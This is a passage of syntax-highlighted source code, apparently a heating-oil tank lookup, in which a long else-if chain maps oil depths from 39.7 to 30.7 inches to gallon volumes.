</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">39.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">257.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">39.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">257</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">39.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">256.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">39.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">256</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">39.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">255.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">39.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">255</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">39.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">254.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">39</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">254</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">38.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">253.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">38.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">252.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">38.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">252.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">38.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">251.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">38.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">251</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">38.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">250.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">38.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">249.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">38.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">249.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">38.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">248.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">38</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">248</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">37.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">247.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">37.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">246.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">37.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">246.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">37.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">245.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">37.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">245.0</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">37.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">244.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">37.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">243.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">37.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">243.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">37.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">242.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">37</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">242</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">36.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">241.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">36.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">240.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">36.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">239.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">36.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">239.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">36.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">238.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">36.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">237.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">36.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">237.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">36.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">236.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">36.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">235.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">36</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">235</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">35.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">234.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">35.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">233.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">35.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">232.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">35.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">232.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">35.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">231.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">35.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">230.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">35.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">230.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">35.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">229.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">35.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">228.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">35</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">228</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">34.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">227.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">34.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">226.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">34.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">225.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">34.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">225.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">34.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">224.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">34.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">223.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">34.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">223.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">34.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">222.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">34.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">221.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">34</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">221</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">33.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">220.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">33.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">219.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">33.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">218.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">33.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">218.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">33.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">217.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">33.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">216.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">33.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">216.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">33.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">215.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">33.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">214.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">33</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">214</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">32.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">213.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">32.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">212.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">32.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">211.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">32.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">211.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">32.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">210.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">32.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">209.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">32.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">209.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">32.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">208.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">32.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">207.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">32</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">207</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">31.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">206.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">31.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">205.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">31.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">204.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">31.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">204.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">31.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">203.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">31.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">202.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">31.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">202.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">31.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">201.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">31.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">200.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">31</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">200</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">30.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">199.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">30.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">198.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">30.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">197.9</span><span class="p">;</span> <span class="p">}</span>
